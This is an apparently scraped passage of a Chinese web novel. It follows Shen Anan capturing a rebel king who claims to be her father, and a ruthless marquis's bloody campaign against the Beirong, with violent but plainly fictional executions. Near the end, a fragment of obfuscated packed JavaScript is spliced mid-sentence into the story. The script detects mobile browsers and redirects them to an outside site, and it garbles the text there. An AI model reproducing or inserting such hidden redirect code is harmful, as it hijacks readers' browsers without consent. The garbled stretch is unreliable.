大家看她用绳子将自己与树干捆在了一起,也纷纷照做。 就这样,趁着夜黑时分,鸟兽惊叫,大家下了沼泽地。 北燕商队的棉衣果然厉害,蚂蟥也伤不到人。 在沈安安的带领下,大家齐心协力。 谁也不敢把步子迈的太快,每一步都在沈安安的指示下进行。 每个人都全神贯注,都忘记了时间的流逝。 有脚下不稳摔倒的,会被旁边的同伴立马拉起来。 出奇的,横渡这片沼泽地时,竟无一人伤亡。 等大家都爬上岸的时候,棉衣是用不了了。 脱掉棉衣,一身轻的往前探,约莫半个时辰后,眼前的瘴气骤然消失。 一片宛如仙境的地方,赫然出现在众人眼前。 王坡目瞪口呆,没想到还真藏在这儿。 好消息:娘娘判断对了。 坏消息:深入到二十万叛军的老巢了。 所有人都目露惊讶,连沈安安都有些不可置信,本以为他们会分散开,毕竟鸡蛋不放进一个篮子里,是常识。 看来他们对这里很有信心,才会如此大胆,还好她上一世有过穿越沼泽的经验。 大家低低的趴在地上,啃着干馒头。 “我们不到一千人,他们有二十万,即便对方都是一些乌合之众,我们也打不赢吧?”王坡一边咽一边说着。 沈安安一直盯着对方的老巢看,“我爹到底长啥样啊?会是这叛军的头领吗? 你们没见过他人,对他的能力总有一定的了解吧?他真能号令二十万人吗?” 千夫长摇头,“都没有。” 王坡竖起一根手指头,伸到沈安安面前去,“现在只有一个办法了,撤退。” 沈安安白了他一眼,“你是不是傻?” 千夫长也道:“娘娘,我觉得王兄说的甚有道理。 反正我们找到了他们的落脚点,我们可以回云州请世子领大军过来。” 沈安安耐心的开口:“不是来打仗的,是来擒人的。” 她从始至终都没想过打仗,拼命可以,但往死了拼不行。 否则她也不会只要五千人了,还是轻骑。 “你们在这里等着,若是发现有落单的土著,甭管男女老少,一律生擒。”沈安安吩咐着。 “等等等……等一下。”王坡声音抖着。 “我怎么感觉凉飕飕的?那黑漆漆的是什么?”王坡指着一个方向道。 大家顺着他指的方向看过去。 有经验的一眼就认出来,大黑熊。 大家都愣了。 此地离叛军老巢太近了,杀熊会有动静,不杀它扑过来也会暴露。 “怎么办?”王坡问着沈安安。 沈安安追悔莫及,“早知道少带点儿人,买点睡睡粉了。” 千夫长:“那是非卖品。” 这大黑熊也是奇怪,不走、也不叫。 就跟人一样站着,定定的看着他们,但是那满嘴的哈喇子,已经说明了一切。 沈安安往身后一指,“慢慢往后挪吧,挪到安全距离,再解决这畜生。 你们先挪我殿后。” 她说着,手已经捏紧了黑枪。 “别别别……别挪了,后面也有个畜生。”王坡道。 沈安安回头一瞥,就见一只大老虎,趴在草地里,定定的看着他们。 难怪这死熊不动。 沈安安开口道:“看来我们处于这两只畜生领地的交界处,加之我们人数够多,它们才没行动。” “一般野兽都怕受伤,一旦伤了,多半会沦为天敌的食物。” 王坡:“这俩玩意儿能有天敌吗?” 沈安安一个白眼丢过去,“你都怕死,它们能不怕吗? 活的吃不了,死的总能吃吧?别把畜生想的太笨。” “你们就趴这儿吧,我去了,这两只畜生也不是你们的对手,实在暴露了再说。” 王坡有些怕,伸手就要去抓她,但抓了个空。 “人呢?” 千夫长指了指上面。 沈安安把自己的黑枪都留下了,只身一人使用轻功跃上枝头,消失在了一片密林里。 王坡抱紧了她的黑枪,“你们可要保护好我啊。” “都都都……都别轻举妄动,现在是跟这俩畜生比耐心的时候了。” 第103章擒王 沈安安轻功了得,加之叛军仗着天险守卫松懈。 她凭借观察竟摸到了深处。 这里依山而建,整个殿宇建立在两座石山的夹缝中间。 沈安安一跃而下,与此同时,鸟兽惊起。 “嗷呜”两道叫声,响彻了山谷。 “什么人?”守卫惊觉,两边的山上,开始有人层出不穷的站起来。 拉弓射箭的声音,在沈安安耳边穿梭而过。 “这群蠢货。”沈安安低低咒骂了一声,“不会被射成刺猬了吧?” 她隐在一棵树干后,往独孤军的方向瞥了一眼,树木高大又茂密,应该不至于被射穿。 动静惊动了整个叛军大营,沈安安正愁怎么找到爹时。 一个被拥护着的、身穿黄色长衫的中年男子,映入了她的眼中。 这一看就是叛军头领,管他是不是爹。 沈安安瞅准目标,本想着他再走近一些时动手。 但那男子,就是站在一块巨石后面一动不动,他身边围着的护卫,皆是手持武器。 不能再等了,再等下去,这趟就算是白来了,独孤军也要全死在这儿了。 前有沼泽猛兽、后有敌军,独孤军根本应付不过来的。 沈安安下定了决心,身姿轻盈的一跃而下,直奔那男子。 护卫们反应也是迅速的。 “有刺客,保护大王。”护卫们惊呼一声。 他们或许没看清沈安安的身影,但手中的兵器已经齐齐对准了她。 那男子眯了眯眼,看向手持两把匕首,拼命就往前冲的沈安安。 忽地,瞳孔陡然一睁,忙抬手出声制止,“莫要伤她。” 这一声,护卫们急急收兵器。 就在这刹那,沈安安一招‘万军丛中取敌军首领’,跃至了男子身边,锃亮冰冷的刀刃架在了他的咽喉处。 这一刻,沈安安人狠话不多的属性表现得淋漓尽致,刀刃上有血渗了出来。 她抵着的可是咽喉,一刀下去,绝无生还可能。 “叫你的人都住手,派人带路让我们离开,否则先杀了你我再一把火烧了这里。” “安安?你是安安?”男子丝毫不慌,叫着她名字的声音充满慈祥。 沈安安:“???” 这也能遇见老熟人? 她翻遍了大脑,原主的记忆里没有这号人。 而且这些护卫叫他大王,原主的父亲不是轩辕一个小将领吗?怎么会成为大晟的王? “我终于见到你了,我是爹爹啊,你一定是我的女儿,安安,你跟你娘长得一模一样。”百里胜一脸和蔼的盯着她看。 “回来就好,回来就好,你们都给我把刀放下,还不拜见公主。 她叫百里安,是本王的掌上明珠。” 沈安安看着刚才还对自己刀剑相向的护卫,此时齐刷刷的跪在地上喊着:“恭迎公主。” 她一时惊的匕首都掉了,又赶忙凌空抓住。 这又是三十六计里的哪一计? “又一模一样。”沈安安有些头皮发麻,“啪”一巴掌扇在百里胜的脑门上。 “你把我当傻子忽悠呢?你能不能换个理由? 行了,你也别说了,给我老实点,你这反贼,我要带你回轩辕领功。” 护卫们听她这话,也不等百里胜发话,又捡起了兵器对准她。 “放下兵器,不许伤害公主。”百里胜呵斥着。 反正他说什么沈安安都不信,刀架在他脖子上,将人从老巢里带了出来。 “唉,都怪爹爹,要是我没有从小就把你托付给别人照顾,你也不至于不认识我。 是爹爹对不起你……” 沈安安听的实在烦了,拿着刀柄的手在他腮帮子上来了一下。 登时就把百里胜给打的啐了口鲜血。 “有什么话,回了京城,你跪在陛下面前慢慢说,跟我说没用。” 叛军们见自己的大王被擒了,虽没有再放箭射杀,但对沈安安也是穷追不舍。 现在他们可不顾她是不是公主了,一大群人马乌泱泱的追了出来。 沈安安和独孤军汇合时,老虎和大黑熊已经被他们干掉了。 王坡还心情悠哉的取了皮。 “赶紧走。”沈安安一只胳膊勒着百里胜的脖子,开口说着。 从沼泽地跑是不现实了,只能沿着沼泽地一路往上,眼下甩掉身后追兵才是要紧。 “这么快就抓住你爹了?”王坡边跑边问。 沈安安边跑边回,“你也不看看你们干的都是什么事儿,我还能抓住我爹? 不过我运气好,抓了个大的,听他们叫他大王,反正比我爹大。” 王坡欲哭无泪,“我说呢,咋倾巢而出不要命的追我们。 你这不是运气好,你这是倒大霉。” 王坡跑的比兔子还快。 沈安安几乎是负重在跑,即便有轻功的加持,速度也提不起来。 更何况不能将内力耗用干净,要不然万一被追上,届时恶战起来她会没有体力的。 王坡跑着跑着,吭哧吭哧的道:“我不要了,这铁块太重了,回去再打吧。” 说着,他就把沈安安的黑枪给扔在了地上。 沈安安顺手捡起来,黑枪上还挑着两张皮,重量更多。 “我真是谢谢你,下次再也不带你了。”沈安安一手抓着人,一手提着枪,跑的更慢了。 “还有下次?先出去再说吧。”王坡说着就跑没影儿了。 不到半刻钟,他又跑回来了,上气不接下气,“还是我拿吧。” 前面有野兽,他打不过。 沈安安几乎要脱力了,额头上汗如雨下。 百里胜被她塞住了嘴,“嗷嗷呜呜”个不停,但她充耳不闻。 忽地,千夫长一个急停。 他身后的独孤军,也停了下来。 沈安安一时没顾上,已经跑出十几步远了。 “娘娘,再这样下去,我们一个都跑不掉。 我带兄弟们断后,掩护你逃跑。”千夫长道。 “现在不是逞匹夫之勇的时候,赶紧跑。”沈安安呵斥着。 只要翻上不远处那座石山,就有活命的机会。 可以占据地理优势,殊死一搏。 但在这丛林密布的地方,很容易会被围起来,他们人数实在太少了,对方耗也能将他们耗死。 “娘娘,快走。” 千夫长说罢,扭头带着独孤军冲了上去,“兄弟们,杀啊。” 马革裹尸,还能有军功换家人平安富贵。 若让贵妃娘娘和大晟余孽的头领死在这里,陛下定会给他们扣上一个保护不力的罪名,届时全族都要遭殃。 身后兵器碰撞的声音,混合着厮杀喊叫的声音。 沈安安一刻也不耽误,继续翻山越岭,不能让他们白白牺牲了。 她得活着出去,安全回京,禀明实情,替他们拿到军功。 第104章 碎石崖 正是因为独孤军这一拦,才给沈安安争取了喘息的机会,这才得以爬上了那座石山。 瘴气弥漫,像浓雾一样,根本分不清东南西北。 沈安安只得先找个地方藏起来。 这下,百里胜也静悄悄的了,见还有个外人在,怕真的拖累了沈安安。 他们顶着恶劣的天气,就这么躲藏了一天一夜。 翌日天光未亮,三人皆是冻的瑟瑟发抖。 沈安安拿掉了百里胜嘴上的布,给他喂了一口水。 “再往前走,就是死路了,要沿着这片碎石崖下去,再绕过沼泽地。”百里胜冷的牙关打颤,仍是一脸温和的望着沈安安说着。 这个时辰才是最冷的时候。 沈安安趁着自己还有些力气,举起黑枪开始刨坑。 “娘娘,你不会真信他的话吧?”王坡嘴唇发紫,问着沈安安。 看她很快刨好了一个坑,他又道:“这是个好主意,埋在这里无人知晓。 其实也不用这么费力的娘娘,直接杀了从这山崖上推下去,肯定找不到囫囵个的尸体。 这山上野兽这么多,骨头都能嚼碎了咽下去。” 百里胜听闻这话,怒视着王坡。 不过他的关注点还是在沈安安身上,开口问着:“你……你是那暴君的妃子了?” “你们男人怎么都这么多废话?”沈安安又开始刨第二个坑了。 她冲王坡道:“把他丢进去。” 王坡没耐心,一脚就把百里胜踹了下去。 “还挖坑干啥?你不会打算把我也埋了吧?”王坡瞪大眸子,害怕又担忧的看着沈安安。 “娘娘,就算你嫌我是个拖累,你也不用这么干脆就解决了我吧?” 是的,遇见野兽他怕。 遇见敌军,他也怕。 他除了两条腿能跑,好像确实没什么用。 要是换做自己,也会这么做的。 就在王坡担忧的时候,沈安安已经又刨好了另外一个坑。 她抱着黑枪,跳进了中间那个坑里。 “娘娘,你把自己也埋了?你这……虽然跟进来的独孤军全都牺牲了,但你也没必要把自己祭奠在这儿吧?” “不想冻死你就赶紧跳进去。”沈安安闭上眼睛,将黑熊皮盖在了自己身上。 臭是臭了点,保暖。 王坡闻言,这才惊觉,跳了进去抱住了自己。 王坡发出一声感叹,“啊~~在这坑里,确实暖和了些,差点冻死了。” 冷风灌不进来,土地有保存的温度,深坑里空气并不怎么流通,起到了保暖的作用。 大家都在保存体力,谁也没说话了,昨夜一直都在防野兽和追击,几乎没合过眼。 所幸今日没下雨。 虽然密林里阳光是透不进来的,但临近中午时,温度有回升。 沈安安就近抓了几只小点的野兽,火也不敢生,直接生吃。 王坡:“……” 百里胜也是傻眼,以前的书信里不是说女儿温良贤淑、知书达理吗? 难道都是骗他的?这些年实际上把他女儿当死士在培养? 万辛这个畜生。 百里胜想着这些竟哭了起来。 “呜呜”的哽咽声吵的沈安安耳朵疼。 她不耐烦的扭过头,边嚼边说道:“有的吃就不错了,你还哭个啥?真不知道你怎么当大王的。” “就你这样,活该被灭国。” 百里胜倒是想争气咬一口,但他真的下不去嘴。 怎么自己的女儿比这壕沟林土著还生猛? “唉。”百里胜长长叹息一声。 吃饱喝足,沈安安背起黑枪、勒着百里胜又要出发。 百里胜心疼女儿,便主动要求沈安安捆住了自己的双手,他自己走路。 “不下山,从悬崖往过爬。”沈安安扯了扯牵着的、捆住百里胜的藤条。 两个大男人闻言,皆是目瞪口呆。 就见她手里还捧着两块生肉,递到他俩面前去,“要么吃饱了跟着我爬过去,要么体力不支摔下去一命呜呼。 你们自己选。” 王坡道:“他不是说了吗?下了这碎石崖就好了。” 沈安安瞪了他一眼,“为什么一宿都没有人来找我们?说明那是唯一的活路,他们就在底下守株待兔呢。” 她说罢,看向了百里胜,“这也是你为什么告诉我们路线的原因吧?” 百里胜是有口难言。 女儿就在面前,她不认识自己,无论自己说什么她都不信。 不信就算了,还揣测出恶意来。 不过碎石崖下肯定会有人把守的,不愧是他的女儿,心思缜密。 大概是这些年安安过的真的太苦了,才养成了这样的性子吧。 王坡咬一口yue一口,但他又不敢吐。 吐出来真的会饿死的。 沈安安出奇的有耐心,足足等了快半个时辰,才等他们吃完。 沈安安用藤条将黑枪捆在自己背上,解开了百里胜手上的藤条。 她道:“记住了,我只教一遍,有风行,无风停,你们俩走在前面。” 这还没开始呢,王坡的腿就打颤了,“不应该是有风的时候停吗?这风一吹,站都站不稳,还敢走?” 沈安安推着他往前,“哪儿来那么多废话? 风吹的时候,会让人的身体紧紧贴在崖壁上。 风停了身体就没有助力了,全得靠自己的本事爬。” “走。” 王坡是被她推上崖的。 一看百里胜就没少逃亡,虽然悬崖是第一次走,但胜在稳,也听话。 王坡一边叫一边爬,跟在他后面的沈安安提醒着:“你就少叫会儿吧,待会儿叫渴了你又要喝水。” 半日,根本爬不完整个碎石崖。 但至少爬出了叛军的追击线。 沈安安找了处容易爬上顶的地方,三人接二连三的爬了上去。 她估摸的不错,刚好绕过了沼泽地。 百里胜熟悉这里的地形,主动提出来带路。 起先沈安安还有所怀疑,但走着走着发现了自己留下来的记号。 但沈安安还是没相信他,找到大规模的记号就好办了,她又砍了条藤条,将百里胜捆了起来。 又是几天几夜的赶路,三人终于出了壕沟林。 他们近乎脱力,满身都是血迹。 “亦德。”沈安安远远瞧见小小的人影儿,叫着。 百里胜定睛看着夜亦德,这这这……儿子都生了?都这么大了? 难道这万辛把安安小小年纪就送给夜不群了? 百里胜算了算,攥紧了拳头,两行滚烫的热泪又落了下来。 万辛,我跟你势不两立。 沈安安只当他是害怕,没理他。 沈安安吩咐着董聂,“看好他,班师回云州,片刻不得耽误。” 她说完,耳朵动了动,定是叛军循着记号追来了。 沈安安又道:“先往浇巢走,立即出发,辎重弃了。” 说罢,她叫了一声“枭龙。” 然后抱着夜亦德翻身上马了。 第105章深入敌腹 沈安安这话一出,董聂和独孤军立马会意。 看来千夫长他们,已经殉职了。 “驾。”沈安安扬起马鞭,打在了枭龙屁股上。 大军立刻掉头,往浇巢城的方向走。 沈安安满脸都是干涸了的血迹,擦也擦不掉。 也不等夜亦德多问,身后的追兵已经赶来。 架起的弓箭,就要朝着他们射。 领头的是一勇猛的年轻男子,他骑在一匹蒙着眼睛的马上。 举起的手迟迟没有落下,他身后的骑兵也不敢冒然放箭。 “唉~父王的安危要紧,追。”百里策狠狠地抽着马屁股,一路狂追。 “母妃,他们的马跑的好快啊,要追上来了。”夜亦德坐在沈安安怀里,不住的回头去看。 叛军的马熟悉地形,又经过训练……沈安安心中如此想着,只能再加快速度,连头也顾不上回。 不多时,沈安安“吁”一声,勒住了马缰绳。 “世子。” 她身后跟着停下来的独孤军,大喊着。 沈安安定睛看去,就见独孤及领着乌泱泱一片独孤军,前来接应。 “想不到娘娘竟如此神勇。”独孤及那双温柔眼眸,定定的盯着沈安安看。 沈安安皮笑肉不笑。 这独孤家也是暴君的死对头,还是别扯上关系的好。 而且这世子,又是亦德的竞争对手。 沈安安策马继续往前,她指了指后面,“剩下的就交给你了。” 不等独孤及回一声,她扬鞭奔走。 至于接下来会发生什么,她不想知道。 路过浇巢城时,沈安安揪住王坡,将他之前骗走的那张银票硬要了回来。 买了些吃食,一路往云州城狂奔。 来时带的那些独孤军,她一并交给独孤及了。 所以此时只有她、亦德,董聂和沈起、王坡和百里胜。 百里胜被董聂横着挎在马背上。 一路不作任何停留,直奔京城。 …… 另一边,启西楚州大营。 主帅营帐里,赵小高坐在主位上,面前站着的是楚家军的先锋将军。 “侯爷,马上就到北戎最热的季节了,不是出征的好时候。”先锋将军开口道。 “等大军开拔过去,正值六月酷暑,能把人都热死过去,根本打不起来。” 赵小高眉头一蹙,一声“你放屁”脱口而出。 “本侯看你们就是一群废物,冷了不行,热了也不行。 即刻整军出发,就算热死,也要死在北戎的地盘上。” 他话毕,见站着的两排人纹丝不动,又厉声呵斥着:“还不快去?” “是,侯爷。”无奈,几人只得领命。 不情不愿的出了主帅营帐,各自去整顿集结队伍了。 当天就出发。 楚家军毕竟跟北戎常年交战,对他们的生活习惯很是了解。 有了先锋军的带路,不出七日的时间,赵小高就发现了北戎王子扎木乃的驻扎地。 此前赵小高都是按照夜不群制定的作战计划行军打仗。 可这一次,没有事先制定好的计划,也没人从旁督战指挥。 他向来耐不住性子,一发现是扎木乃,便立刻命楚家军列阵出击。 扎木乃也没想到,轩辕会这个时候打过来,慌乱的指挥军队迎战。 双方一触即发,谁也没有做好准备。 赵小高一马当先,像脱了缰的野马似的,冲杀入敌军。 他一勇无前,杀的北戎军方寸大乱。 扎木乃见楚家军人数众多,安排了一部分人阻击,他则是弃掉物资,开始领着主力军逃命。 赵小高杀红了眼,发现扎木乃跑了,随即夺下一匹战马,直接就追了去。 扎木乃边跑边回头。 “看来这次来的是个愣头青啊,跑慢点,让他们追上来。”扎木乃说着放慢了速度。 赵小高只领着一小撮人深入追击。 而楚家军的大部队,已经被先锋将军叫停了。 他们收缴了物资、斩杀了阻击的北戎敌人,便不再往前了。 一名总旗望着赵小高消失的方向,问着先锋将军,“将军,侯爷去追击了,我们还要赶去支援吗?” 先锋将军骑在马背上,手持马鞭,反问着:“侯爷下了军令吗?” 总旗摇头,“没有。” “这样啊?那看来侯爷势在必得,我们就不要去跟侯爷抢功劳了。”先锋将军直起腰身,看着苍茫无际的草原。 万里无云的晴空,看这样子,接下来半月都会是大晴天。 总旗又问道:“那将军,我们是驻扎在此,还是回营?” 先锋将军调转马头,“回大营。” 总旗嘿嘿一笑,拔高声音道:“所有楚家军,回营。” 赵小高这一追,就追了两天。 不光人口干舌燥,就连战马都开始烦躁了。 扎木乃勒马停住,望向赵小高贱兮兮的笑着。 赵小高也勒马停住,“跑啊,怎么不跑了?” 扎木乃挥了挥手,让身后的士兵们给赵小高腾出视野。 “小子哎,现在该跑的是你了,你也不看看你到了哪儿?” 赵小高定睛看去,原来是北戎王帐。 好好好,可算是让他找到了北戎主力。 “呵!好大的口气啊,兄弟们,给我……” “侯爷。”跟在他身侧的一名小旗打断了他的声音。 赵小高蹙眉反问:“何事?” “就咱们这一百多号人,冲入人家的王帐,这不是去送死吗?”小旗道。 赵小高闻言,扭头一看,楚家军压根没跟上来。 “人呢?”他厉声问道。 小旗道:“侯爷,令旗不是在您的身上吗?您也没下令啊。” 扎木乃看的是哈哈大笑,“轩辕这些年来,净出你们这些哈怂,看来离亡国是不远了。” 近些年一直跟轩辕交手,轩辕的将领是一年不如一年的,竟还有被他给吓死的。 这次倒是来了个厉害的,可惜没脑子。 “你能见到我父汗的王帐,已经比你前面那些哈怂厉害多了,你束手就擒,我留你一条狗命,以后你就做我的狗如何啊?” 扎木乃说完,又是仰天大笑。 笑声落地,北戎的两万铁骑精锐已前来支援。 赵小高捏紧了手中大刀,另一只手从怀中掏出了那张黑甲面具,阴冷狠厉的声音命令着:“杀。” 楚家军闻言都愣了,小旗不可置信道:“侯爷,我们还是……” 话还未说完,赵小高抬起大刀,砍掉了小旗的脑袋。 “临阵脱逃者,诛灭九族。” “随本侯迎战者,活着回去赏黄金万两,封千户。” 他此举,让原本有退意的楚家军,只能硬着头皮上了。 反正横竖都是个死。 第106章死不了就继续 赵小高的狠厉,让扎木乃想起了在沈安安手里吃亏的那一次,他也不敢松懈。 扎木乃冲身后两万骑兵发号施令,“杀。” 而他自己,在骑兵大军发起进攻之后,退到了一旁伺机而动。 北戎骑兵很快便将赵小高等一百多人团团围了起来。 层层叠叠、水泄不通,根本毫无生还可能。 刚开始楚家军还拼命突围,但在数次交锋之后,他们终于认清了现实,根本不可能活着出去。 这种念头一旦生出来,就失去了支撑人活下去的精神支柱,楚家军就这么一个个的倒在了北戎骑兵的铁蹄兵刃之下。 赵小高见楚家军几乎死的差不多了,剩下活着的跟死了没什么两样。 他也没了顾虑,将自己身上的宝贝一个劲儿的往外抛。 毒弹、暗器、雷火…… 光是毒弹,就让北戎骑兵倒下了一大片。 毒雾刚散去时,赵小高已经到了扎木乃的面前。 不等扎木乃大喊,他手中匕首直接扎进了扎木乃的胸膛。 赵小高也没时间补刀,将扎木乃丢下了马背,扬鞭而去,“下次你可没这么好的运气了。” 北戎骑兵自然不会如此轻易就放过他,穷追不舍,但被他用雷火给逼退,这才得以逃出生天。 好在是大晴天,来时留下的痕迹还在。 赵小高沿着这些马蹄印记撤出了北戎地盘。 回到楚州楚家军大营时,赵小高看上去就剩一口气。 他背上还插着箭,浑身上下亦是刀伤无数,途中不知道晕过去了多少次。 为了防止掉下马背,他把衣裳撕下来做成了布条,将自己绑在马背上。 他撑着一口气,命令着:“把那几个窝囊废叫来见我。” 说着,赵小高用匕首割断了布条,翻身从马背上下来。 箭矢不敢贸然拔出来,他用匕首砍断了,箭头还留在身体里。 “叫军医。”一声低吼,赵小高掀开主帅营帐的帘子,拖着受伤严重的身体,跨步进去。 不多时,先锋将军以及其他三位楚家军的将领,前来拜见。 军医正在用刀子给赵小高取箭头。 他就像没事儿人一样,坐在椅子上,连军医都满头大汗,要知道,军中没有麻沸散了,这是把皮肉剖开生取啊。 “侯侯……侯爷。”先锋将军率先开口。 赵小高无视他,一口烈酒入喉,愤怒的骂着军医,“本侯都不怕你怕什么?使出吃奶的劲儿来。” 他知道,军医担心他的身体,不敢用力。 军医擦了擦额头上的汗,说得轻巧,能不怕吗? 要是换了旁人,早把箭头取出来了,主要是箭头扎的太深,形成了贯穿伤,加上天气炎热,侯爷一路逃命不得休息。 伤口都溃烂了,烂掉的腐肉,也得一并剜掉,不然伤压根无法愈合。 赵小高感觉到了军医的顾虑,他这才温声道:“不要害怕,本侯又不吃人。 你放心大胆的治,本侯死了也不怪你。” 为了让军医彻底放心,他还写了一张赦令。 几位将领都看傻了,这真是个魔鬼。 军医这下敞开了来,赵小高面上这方有冷汗渗出。 足足一个时辰,军医才给他包扎好了伤口。 将领们跪在地上,亲眼目睹了血肉横飞的一幕,不禁吓的都咽口水。 “侯爷,卑职马上去给您熬药。”军医擦了擦手道。 赵小高又恢复了冷漠,“熬什么药?上一盆鸡汤。” 军医也不敢耽误,退出营帐赶忙就叫人去熬鸡汤了,但药也还是要熬的。 赵小高换了一身干净的新衣裳,挺拔的站在几人面前,他就像满血复活的地狱阎罗一般。 “为何不跟着本侯追击?”他声音犹如万年寒冰,在几人头顶响起。 “侯爷,我……我……” 先锋将军吞吞吐吐。 说话的机会赵小高给了,是他自己不中用。 下一瞬,赵小高手起刀落,先锋将军也人头落地。 喷溅出来的鲜血,洒在了营帐上。 剩下三人,吓的险些脱力,跪在地上砰砰磕头,哪里还有说话的胆量? 便是陛下来了军中,杀一个四品将军,也不能这么干脆利落吧? 果然如传闻所说的那样,这定国侯杀人不眨眼。 赵小高将染血的刀丢在了地上,咣当一声,震慑的三人心头一颤。 他也没想着将这些楚家军将领都杀光,还要留几人镇守楚州,对抗北戎呢。 “你们且将事情的来龙去脉,跟本侯好好说说。”赵小高说罢,坐回了椅子上。 其中一人忙开口:“侯爷,当时一片大乱,我们杀光北戎敌人的时候,已不见了您的踪影。 倒是总旗二苟子看到了,回禀了……” 三人一五一十的讲给了赵小高,当然还有总旗幸灾乐祸的嘿嘿一笑。 “带上来。”赵小高面无表情的说着。 一人很快就将二苟子抓了来。 二苟子看了一眼先锋将军的尸身,扑通一声就跪在了地上。 此时,军医端着药和鸡汤走进来,他颤颤巍巍的将碗盆放在了赵小高面前。 赵小高喝了药,又大口大口的喝着鸡汤挑着一整只鸡吃着。 这这这……这哪里像是重伤之人? 要不是他亲手给赵小高包扎,军医都不信他是个身负重伤之人。 赵小高吃饱喝足,来到二苟子面前,指着地上的尸体道:“别怕,你现在带人去杀了他的九族。 全都要你亲手杀,听见了?” 二苟子点着头,除了“嗯嗯”别的什么都不敢说。 “去吧。”赵小高挥了挥手。 二苟子忙退出了营帐,片刻都不敢耽误的走了。 跪着的三人一脸疑惑,侯爷这是放过了二苟子? 忽地,赵小高的声音再度响起来,“你们三个,跟紧了他,待他杀完。 你们就帮本侯杀了他,再去杀了他的九族。” 三人头也不敢抬,杀完之后呢?他们三个的下场不会跟二苟子一样吧? 三人如此想着,竟齐齐抬头看向了军医,莫非最后是军医来灭他们三个的全族?亦或是侯爷亲自动手? 就在他们胆战心惊的时候,赵小高拿着刚写好的三份赦令,将他们都扶了起来。 “本侯向来赏罚分明,不会错杀一个好人,也不会放过一个敌人。 动作要快,要利落,善后就不必了,曝尸荒野。” “本侯只给你们两个时辰,回来之后即刻出发,进攻北戎老巢。” 三人一声“还打?”哽在喉咙里,问得多死得快,遵命就是。 第107章丢盔弃甲 目送三人离开后,赵小高也没闲着。 他铺开了北戎地图,标注了王帐所在的地方。 集结大军、整理辎重……他片刻都没歇息。 身上包扎好的伤,血又渗了出来,连衣衫都被血水给浸透了。 赵小高命军医带好东西,随军出发。 “侯爷。”军医一边收拾东西,一边劝说,“并非卑职贪生怕死,不肯跟您去前线。 而是您的身体不堪重负,再这样下去,会落下疾的。 侯爷,等您伤好些了再出发也不迟的。” 赵小高眉头轻蹙,只道:“按吩咐做事。” 他可以等,陛下可等不了。 此次三面作战,若他拿不下北戎,回京后还有何颜面见陛下? 输给大贤也便罢了,要是输给荣贵妃,那才是丢人丢大了。 楚家军那三位将领按时回来,正是天黑时。 他们满身是血,跪在地上冲赵小高禀报道:“侯爷,二苟子全族七十七口,已尽数斩杀。” 九族,七十七口,实在算不上人多。 但这就是楚家军士兵的现状,入楚家军的,多是楚州边陲小镇的人,北戎几次三番烧杀抢掠,大家本就没多少亲人了。 赵小高对这些没兴趣,只抬了抬手,“出发。” 三人连衣裳都来不及换,翻身上马,跟在赵小高身后。 这一次,楚家军倾巢而出。 可也不过才八万人。 …… 赵小高率人赶到时,北戎王帐正在迁移中。 北戎大汗没想到赵小高真敢杀来。 一时间,整个北戎主力军尽数暴露在赵小高面前。 他那双嗜血的眸子,像猎人看见了猎物。 这一次,手中拿的不再是大刀,而是那把铁链武器。 “杀光、抢光、烧光。” 话毕,赵小高又一次率先冲了出去。 迎战的是北戎铁骑,两万精锐排山倒海般压过来。 “楚家军听令,两万人,随侯爷正面迎战。 另四万人,分左右两侧夹击,剩余的,按兵不动,随时准备支援。” 将领一声令下,便带着两万人从右边包抄了过去。 另外一名将领,则带人迅速从左边拉开阵型。 留下一名以及两万人马,转身退后,这名将领骑在马背上,神情紧张的看着前面展开的双方大军。 北戎的撤退还在进行中。 两万铁骑的后面,是纹丝不动的骑兵。 六万对北戎的两万,左侧和正面都没攻下来,只右边那一方冲锋了进去。 可一深入进去,就被骑兵包围,敌我不分的开始拉弓射箭。 藏于骑兵后面的步兵,拿着武器穿着盔甲,冲入进来就砍掉马腿。 一时间,这两万楚家军简直成了活靶子。 正面迎敌的赵小高也没好到哪里去,北戎铁骑发现他领的人才是最能打的之后,便将左侧那残兵败将丢给骑兵,而他们专心对付赵小高。 准备支援的那名将领,见情况不妙,心中开始泛起犹豫。 眼下跑是死、不跑也是死,现在撤退还有一线生机,若是他也带兵冲了进去,只怕是会全都死在这里。 侯爷本就身负重伤,已被北戎铁骑团团包围,撑不了多久的。 右侧,已经突围不出来了。 左侧,被打的节节败退,已经在往回撤了,可架不住北戎骑兵和步兵的追击,应当是也撤不回来了。 思罢,将领道:“撤退。” 这楚家军当真是贪生怕死的,好似等的就是他这句话。 大家齐刷刷的掉头,骑马奔走。 身后血雾漫天,他们头也不回。 赵小高没空去看那群逃兵,他没想到,这楚家军军心涣散到了这种地步,即便杀鸡儆猴也激发不出他们的骨气。 楚家军见到北戎铁骑,就像惊弓之鸟一般,还没真正的开始交锋,他们就先丢盔弃甲了。 这一战,赵小高在没有任何外力的加持下,鏖战了两天两夜。 他脚下踩着无数的尸体,全身都是血污,连墨发也被血水染透。 “别射死他,一轮轮的上,本汗要看看,他还能坚持多久。”北戎大汗坐在篝火前,正享受着美酒烤肉。 而迁移的王帐,也落回了原处。 **星河下,赵小高忍受着讥讽。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477710|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “定国侯,你不是战无不胜吗?现在的狼狈样,对你来说还不如**干脆吧?” “但本汗看你这样子,也并没想着**。 这样吧,你像狗一样爬在本汗面前,叫几声,再从本汗的胯下钻过,本汗就饶你不死。” “只要那轩辕小皇帝给的足够多,我把你囫囵个的还回去,也不是不可能。” 扎哈瓦又是侮辱又是诱惑。 扎木乃坐在椅子上,开口道:“父汗,至少也要把楚州给我们吧?” 扎哈瓦见赵小高没答应,眸色一冷,挥了挥手,围着赵小高的骑兵们展开了又一轮的围杀,当然了,不往要命处伤。 赵小高完全是凭借肌肉记忆在反抗,他感觉自己的意识已经渐渐模糊不清了。 看来今天,是真的要死在这儿了。 “砰砰砰。” 刹那间,凡是围在他身边的北戎铁骑,纷纷倒下了马背。 “小高。”夜空下,一道急促的声音传来。 这一声,将他游离的理智拉了回来。 他狰狞的笑出了声,“大贤。” 